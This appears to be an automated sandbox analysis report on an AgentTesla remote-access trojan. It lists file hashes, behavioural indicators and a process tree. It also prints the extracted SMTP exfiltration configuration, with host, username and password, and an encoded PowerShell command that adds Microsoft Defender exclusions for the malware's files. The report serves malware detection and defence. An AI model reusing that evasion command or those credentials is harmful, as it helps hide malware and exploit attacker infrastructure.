Analysis
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max time kernel
95s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-01-2025 03:30
Static task
static1
Behavioral task
behavioral1
Sample
a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe
Resource
win7-20240903-en
General
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Target
a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe
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Size
46KB
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MD5
1f33b2b038c4d62ef89483a746f86012
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SHA1
c54c6647703964e2dc01f11f44cdcb29a112be90
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SHA256
a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9
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SHA512
8dbd263e8d4e518f427f706d85867c21e5e146317fcb1a73e7191d03c8bff75654ece51dc2242aa43dc18bfb7387ed0330f12df7f45749e78dece3d510a9fa08
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SSDEEP
768:mKT/nyl4QXU2+kCYU1qLn2uDf6s6i5MXAjWHRc9EB+Yhd9eYBcriEsO:DT/yl472ls15u6fxc9E9haYiCO
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.iaa-airferight.com - Port:
587 - Username:
[email protected] - Password:
manlikeyou88 - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Agenttesla family
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2836 created 3404 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 56 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2836 set thread context of 3800 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 103 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ipconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ipconfig.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3772 ipconfig.exe 1416 ipconfig.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2760 powershell.exe 2760 powershell.exe 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 3800 InstallUtil.exe 3800 InstallUtil.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe Token: SeDebugPrivilege 2760 powershell.exe Token: SeDebugPrivilege 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe Token: SeDebugPrivilege 3800 InstallUtil.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2836 wrote to memory of 4592 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 86 PID 2836 wrote to memory of 4592 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 86 PID 2836 wrote to memory of 4592 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 86 PID 4592 wrote to memory of 3772 4592 cmd.exe 88 PID 4592 wrote to memory of 3772 4592 cmd.exe 88 PID 4592 wrote to memory of 3772 4592 cmd.exe 88 PID 2836 wrote to memory of 2760 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 97 PID 2836 wrote to memory of 2760 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 97 PID 2836 wrote to memory of 2760 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 97 PID 2836 wrote to memory of 3800 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 103 PID 2836 wrote to memory of 3800 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 103 PID 2836 wrote to memory of 3800 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 103 PID 2836 wrote to memory of 3800 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 103 PID 2836 wrote to memory of 3800 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 103 PID 2836 wrote to memory of 3800 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 103 PID 2836 wrote to memory of 3800 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 103 PID 2836 wrote to memory of 3800 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 103 PID 2836 wrote to memory of 3656 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 104 PID 2836 wrote to memory of 3656 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 104 PID 2836 wrote to memory of 3656 2836 a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe 104 PID 3656 wrote to memory of 1416 3656 cmd.exe 106 PID 3656 wrote to memory of 1416 3656 cmd.exe 106 PID 3656 wrote to memory of 1416 3656 cmd.exe 106
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3404
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C:\Users\Admin\AppData\Local\Temp\a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe"C:\Users\Admin\AppData\Local\Temp\a4eb8041e9e7013243bed5391a31c3bdd813bcc64f928a8778b80e7ca31778f9.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Drops startup file
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /release3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /release4⤵
- System Location Discovery: System Language Discovery
- Gathers network information
PID:3772
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYQA0AGUAYgA4ADAANAAxAGUAOQBlADcAMAAxADMAMgA0ADMAYgBlAGQANQAzADkAMQBhADMAMQBjADMAYgBkAGQAOAAxADMAYgBjAGMANgA0AGYAOQAyADgAYQA4ADcANwA4AGIAOAAwAGUANwBjAGEAMwAxADcANwA4AGYAOQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABhADQAZQBiADgAMAA0ADEAZQA5AGUANwAwADEAMwAyADQAMwBiAGUAZAA1ADMAOQAxAGEAMwAxAGMAMwBiAGQAZAA4ADEAMwBiAGMAYwA2ADQAZgA5ADIAOABhADgANwA3ADgAYgA4ADAAZQA3AGMAYQAzADEANwA3ADgAZgA5AC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABhAHAAcAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABhAHAAcAAuAGUAeABlAA==3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2760
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig /renew3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3656 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /renew4⤵
- System Location Discovery: System Language Discovery
- Gathers network information
PID:1416
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3800
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82